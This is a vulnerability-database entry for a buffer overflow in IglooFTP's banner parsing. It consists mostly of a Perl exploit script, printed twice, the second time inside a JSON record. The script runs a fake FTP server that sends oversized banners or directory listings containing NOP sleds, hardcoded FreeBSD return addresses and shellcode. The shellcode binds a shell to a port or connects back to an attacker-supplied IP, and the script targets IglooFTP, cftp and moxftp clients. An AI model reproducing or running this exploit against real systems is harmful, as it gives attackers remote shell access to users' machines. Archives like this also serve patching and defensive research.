ID SSV:76684
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
source: http://www.securityfocus.com/bid/8161/info
A buffer overflow vulnerability has been reported in IglooFTP. The vulnerability occurs when IglooFTP is parsing 'Welcome' banner messages from remote FTP servers. When IglooFTP receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the FTP client.
#!/usr/bin/perl
# PoC exploit for iglooftp, cftp and moxftp for freebsd
# moxftp / mftp 2.2
# cftp 0.12
# Iglooftp 0.6.1
# Some of the code is fucked, the passive connection is a cheap hack and will not
# respawn, so the fake ftpd will have to be restarted... (only IglooFTP)
# Some RET adr's change, this can be fixed with gdb, look into it yourself..
# all the clients are from ports.. some may have been fixed, did this shit some
# time ago..
# thanks to kokanin for help and advice
# code by inv[at]dtors
use IO::Socket;
sub convert_ret {
my($ret) = @_;
for ($x=8; $x>0; $x=$x-2){
$ret = substr($ret_temp,$x,2);
$new_ret .= chr hex "$ret";
}
return $new_ret;
}
sub convert_ip {
my($ip) = @_;
@ip_tmp = split(/\./, $ip);
for($x=0; $x<4; $x++) {
$new_ip .= chr @ip_tmp[$x];
}
return $new_ip;
}
$server_port = 21;
$passive_server_port = 10324;
unless(@ARGV == 3 || @ARGV == 2)
{ die
"Usage ./DSR-ftp_clients.pl Shellcode Client Ip\n
\tShellcode:\t0 = Portbind
\t\t\t1 = Connect back\n
\tClient:\t\t0 = IglooFTP (FreeBSD 4.7)
\t\t\t1 = cftp (FreeBSD 4.7)
\t\t\t2 = Moxftp (FreeBSD 4.7)
\t\t\t3 = cftp (FreeBSD 5.0)
\t\t\t4 = IglooFTP (FreeBSD 5.0)
\t\t\t5 = Moxftp (FreeBSD 5.0)\n"
}
($shellcode_arg, $client_arg, $extra_arg) = @ARGV;
$user_ip = convert_ip($extra_arg);
@shellcode_list = (
"Portbind,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80",
"Connect Back,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68"."$user_ip"."\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80");
@client_list = (
"IglooFTP - FreeBSD 4.7,188,0xbfbfc560,0",
"cftp - FreeBSD 4.7,8192,0xbfbffb04,1,300",
"mftp - FreeBSD 4.7,516,0xbfbff8e0,1,100",
"cftp - FreeBSD 5.0,8196,0xbfbffa30,1,300",
"IglooFTP - FreeBSD 5.0,212,0xbfbfc440,0",
"mftp - FreeBSD 5.0,532,0xbfbff950,1,100");
@client_info = split(/,/,@client_list[$client_arg]);
@shellcode_info = split(/,/,@shellcode_list[$shellcode_arg]);
print "\tDSR-ftp_clients by inv\n
Setting up Service on Port: $server_port
Client: @client_info[0]
Using Shellcode: @shellcode_info[0]
Using Offset: @client_info[2]\n";
$shellcode = @shellcode_info[1];
$shellcode_length = length($shellcode);
$nop_count = @client_info[1] - $shellcode_length - 8;
$nops = "\x90"x$nop_count;
$ret_temp = @client_info[2];
$ret = substr($ret_temp,2,8);
$ret = convert_ret($ret);
$ret = "$ret"x2;
if(@client_info[3] eq "1") {
$nops_x = "\x90"x@client_info[1];
$nops_y = "\x90"x@client_info[4];
$exploit_string = "$nops_x"."$ret"."$nops_y"."$shellcode";
}
if($client_arg == 0 or $client_arg == 4) {
$exploit_string ="total 666
drwxr-xr-x 25 root wheel 1536 Jan 28 00:13 .
drwxr-xr-x 14 root wheel 512 Jan 28 00:13 ..
-rwxr-xr-x 2 inv inv 512 Jan 29 01:00 $nops$shellcode$ret";
}
$server = IO::Socket::INET->new(LocalPort => $server_port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10)
or die "Can't listen on $server_port : $!\n";
while ($client = $server->accept()) {
if(@client_info[3] == 1) {
print $client "220 $exploit_string\n";
}
if(@client_info[3] eq "0") {
print $client "220 0xdeadcode\n";
while($request !=~ /QUIT/i) {
$request = <$client>;
print $request;
if($request =~ /PASS/i) {
print $client "230 User anonymous logged in.\n";
}
if($request =~ /USER/i) {
print $client "331 Password required for anonymous.\n";
}
if($request =~ /SYST/i) {
print $client "215 UNIX Type: L8\n";
}
if($request =~ /REST/i) {
print $client "350 Restarting.\n";
}
if($request =~ /TYPE/i) {
print $client "200 Type set to A.\n";
}
if($request =~ /PWD/i or $request =~ /FEAT/i) {
print $client "257 \"/usr/home/inv/\" is current directory.\n";
}
if($request =~ /PASV/i) {
$passive_server = IO::Socket::INET->new(LocalPort => $passive_server_port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10)
or die "Can't open passive port";
print $client "227 Entering Passive Mode (127,0,0,1,40,84)\n";
}
if ($request =~ /LIST/i) {
while($passive_client = $passive_server->accept()){
print $client "150 Starting transfer.\n";
print $passive_client $exploit_string;
close $passive_client;
print $client "226 BANG YOU ARE DEAD!!!\n";
}
}
}
close $client;
}
}
{"href": "https://www.seebug.org/vuldb/ssvid-76684", "status": "cve,poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "IglooFTP 0.6.1 Banner Parsing Buffer Overflow Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-76684", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2014-07-01T00:00:00", "sourceData": "\n source: http://www.securityfocus.com/bid/8161/info\r\n\r\nA buffer overflow vulnerability has been reported in IglooFTP. The vulnerability occurs when IglooFTP is parsing 'Welcome' banner messages from remote FTP servers. When IglooFTP receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the FTP client.\r\n\r\n#!/usr/bin/perl\r\n\r\n# PoC exploit for iglooftp, cftp and moxftp for freebsd\r\n\r\n# moxftp / mftp 2.2\r\n# cftp 0.12\r\n# Iglooftp 0.6.1\r\n\r\n# Some of the code is fucked, the passive connection is a cheap hack and will not\r\n# respawn, so the fake ftpd will have to be restarted... (only IglooFTP)\r\n# Some RET adr's change, this can be fixed with gdb, look into it yourself..\r\n\r\n# all the clients are from ports.. some may have been fixed, did this shit some \r\n# time ago..\r\n\r\n# thanks to kokanin for help and advice\r\n# code by inv[at]dtors\r\n\r\nuse IO::Socket;\r\n\r\nsub convert_ret {\r\nmy($ret) = @_;\r\n \r\n for ($x=8; $x>0; $x=$x-2){\r\n\t$ret = substr($ret_temp,$x,2);\r\n\t$new_ret .= chr hex "$ret";\r\n }\r\nreturn $new_ret;\r\n}\r\n\r\nsub convert_ip {\r\nmy($ip) = @_;\r\n\r\n@ip_tmp = split(/\\./, $ip);\r\n\r\nfor($x=0; $x<4; $x++) {\r\n $new_ip .= chr @ip_tmp[$x];\r\n}\r\nreturn $new_ip;\r\n}\r\n\r\n$server_port = 21;\r\n$passive_server_port = 10324;\r\n\r\nunless(@ARGV == 3 || @ARGV == 2) \r\n{ die \r\n"Usage ./DSR-ftp_clients.pl Shellcode Client Ip\\n\r\n\\tShellcode:\\t0 = Portbind\r\n\\t\\t\\t1 = Connect back\\n\r\n\\tClient:\\t\\t0 = IglooFTP (FreeBSD 4.7)\r\n\\t\\t\\t1 = cftp (FreeBSD 4.7)\r\n\\t\\t\\t2 = Moxftp (FreeBSD 4.7)\r\n\\t\\t\\t3 = cftp (FreeBSD 5.0)\r\n\\t\\t\\t4 = IglooFTP (FreeBSD 5.0)\r\n\\t\\t\\t5 = Moxftp (FreeBSD 5.0)\\n"\r\n}\r\n\r\n($shellcode_arg, $client_arg, $extra_arg) = @ARGV;\r\n\r\n$user_ip = convert_ip($extra_arg);\r\n\r\n@shellcode_list = (\r\n "Portbind,\\x31\\xc9\\xf7\\xe1\\x51\\x41\\x51\\x41\\x51\\x51\\xb0\\x61\\xcd\\x80\\x89\\xc3\\x52\\x66\\x68\\x27\\x10\\x66\\x51\\x89\\xe6\\xb1\\x10\\x51\\x56\\x50\\x50\\xb0\\x68\\xcd\\x80\\x51\\x53\\x53\\xb0\\x6a\\xcd\\x80\\x52\\x52\\x53\\x53\\xb0\\x1e\\xcd\\x80\\xb1\\x03\\x89\\xc3\\xb0\\x5a\\x49\\x51\\x53\\x53\\xcd\\x80\\x41\\xe2\\xf5\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x54\\x53\\x53\\xb0\\x3b\\xcd\\x80",\r\n "Connect Back,\\x31\\xc9\\xf7\\xe1\\x51\\x41\\x51\\x41\\x51\\x51\\xb0\\x61\\xcd\\x80\\x89\\xc3\\x68"."$user_ip"."\\x66\\x68\\x27\\x10\\x66\\x51\\x89\\xe6\\xb2\\x10\\x52\\x56\\x50\\x50\\xb0\\x62\\xcd\\x80\\x41\\xb0\\x5a\\x49\\x51\\x53\\x53\\xcd\\x80\\x41\\xe2\\xf5\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x54\\x53\\x53\\xb0\\x3b\\xcd\\x80");\r\n\r\n@client_list = (\r\n "IglooFTP - FreeBSD 4.7,188,0xbfbfc560,0",\r\n "cftp - FreeBSD 4.7,8192,0xbfbffb04,1,300",\r\n "mftp - FreeBSD 4.7,516,0xbfbff8e0,1,100",\r\n "cftp - FreeBSD 5.0,8196,0xbfbffa30,1,300",\r\n "IglooFTP - FreeBSD 5.0,212,0xbfbfc440,0",\r\n "mftp - FreeBSD 5.0,532,0xbfbff950,1,100");\r\n\r\n@client_info = split(/,/,@client_list[$client_arg]);\r\n@shellcode_info = split(/,/,@shellcode_list[$shellcode_arg]);\r\n\r\nprint "\\tDSR-ftp_clients by inv\\n\r\nSetting up Service on Port: $server_port\r\nClient: @client_info[0]\r\nUsing Shellcode: @shellcode_info[0]\r\nUsing Offset: @client_info[2]\\n";\r\n\r\n$shellcode = @shellcode_info[1];\r\n$shellcode_length = length($shellcode);\r\n\r\n$nop_count = @client_info[1] - $shellcode_length - 8;\r\n$nops = "\\x90"x$nop_count;\r\n\r\n$ret_temp = @client_info[2];\r\n$ret = substr($ret_temp,2,8);\r\n$ret = convert_ret($ret);\r\n$ret = "$ret"x2;\r\n\r\nif(@client_info[3] eq "1") {\r\n $nops_x = "\\x90"x@client_info[1];\r\n $nops_y = "\\x90"x@client_info[4];\r\n $exploit_string = "$nops_x"."$ret"."$nops_y"."$shellcode";\r\n}\r\n\r\nif($client_arg == 0 or $client_arg == 4) {\r\n\t$exploit_string ="total 666\r\ndrwxr-xr-x\t25 root wheel\t1536 Jan 28 00:13 .\r\ndrwxr-xr-x\t14 root wheel\t 512 Jan 28 00:13 ..\r\n-rwxr-xr-x\t 2 inv\tinv\t 512 Jan 29 01:00 $nops$shellcode$ret";\r\n}\r\n\r\n$server = IO::Socket::INET->new(LocalPort => $server_port,\r\n Type => SOCK_STREAM,\r\n Reuse => 1,\r\n Listen => 10)\r\nor die "Can't listen on $server_port : $!\\n";\r\n\r\nwhile ($client = $server->accept()) {\r\n \r\n if(@client_info[3] == 1) {\r\n\tprint $client "220 $exploit_string\\n";\r\n }\r\n \r\n if(@client_info[3] eq "0") {\r\n\tprint $client "220 0xdeadcode\\n";\r\n\twhile($request !=~ /QUIT/i) {\r\n\t $request = <$client>;\r\n\t print $request;\r\n\t \r\n\t if($request =~ /PASS/i) {\r\n\t\tprint $client "230 User anonymous logged in.\\n";\r\n\t }\r\n\t \r\n\t if($request =~ /USER/i) {\r\n\t\tprint $client "331 Password required for anonymous.\\n";\r\n\t }\r\n\t\r\n\t if($request =~ /SYST/i) {\r\n\t\tprint $client "215 UNIX Type: L8\\n";\r\n\t }\r\n\t\r\n\t if($request =~ /REST/i) {\r\n\t\tprint $client "350 Restarting.\\n";\r\n\t }\r\n\t\r\n\t if($request =~ /TYPE/i) {\r\n\t\t print $client "200 Type set to A.\\n";\r\n\t }\r\n\t \r\n\t if($request =~ /PWD/i or $request =~ /FEAT/i) {\r\n\t\tprint $client "257 \\"/usr/home/inv/\\" is current directory.\\n";\r\n\t }\r\n\t\r\n\t if($request =~ /PASV/i) {\r\n\t\t$passive_server = IO::Socket::INET->new(LocalPort => $passive_server_port,\r\n\t\t\t\t\tType \t=> SOCK_STREAM,\r\n\t\t\t\t\tReuse \t=> 1,\r\n\t\t\t\t\tListen \t=> 10)\r\n\t\tor die "Can't open passive port";\r\n\t\tprint $client "227 Entering Passive Mode (127,0,0,1,40,84)\\n";\r\n\t }\r\n\t \r\n\t if ($request =~ /LIST/i) {\r\n\t\twhile($passive_client = $passive_server->accept()){\r\n\t\t print $client "150 Starting transfer.\\n"; \r\n\t\t print $passive_client $exploit_string;\r\n\t\t close $passive_client;\r\n\t\t print $client "226 BANG YOU ARE DEAD!!!\\n";\r\n\t\t}\r\n\t }\t\r\n\t\r\n\t}\r\n close $client;\r\n }\r\n}\n ", "id": "SSV:76684", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T15:39:19", "reporter": "Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2017-11-19T15:39:19", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T15:39:19", "rev": 2}, "vulnersScore": 0.3}, "references": []}
{}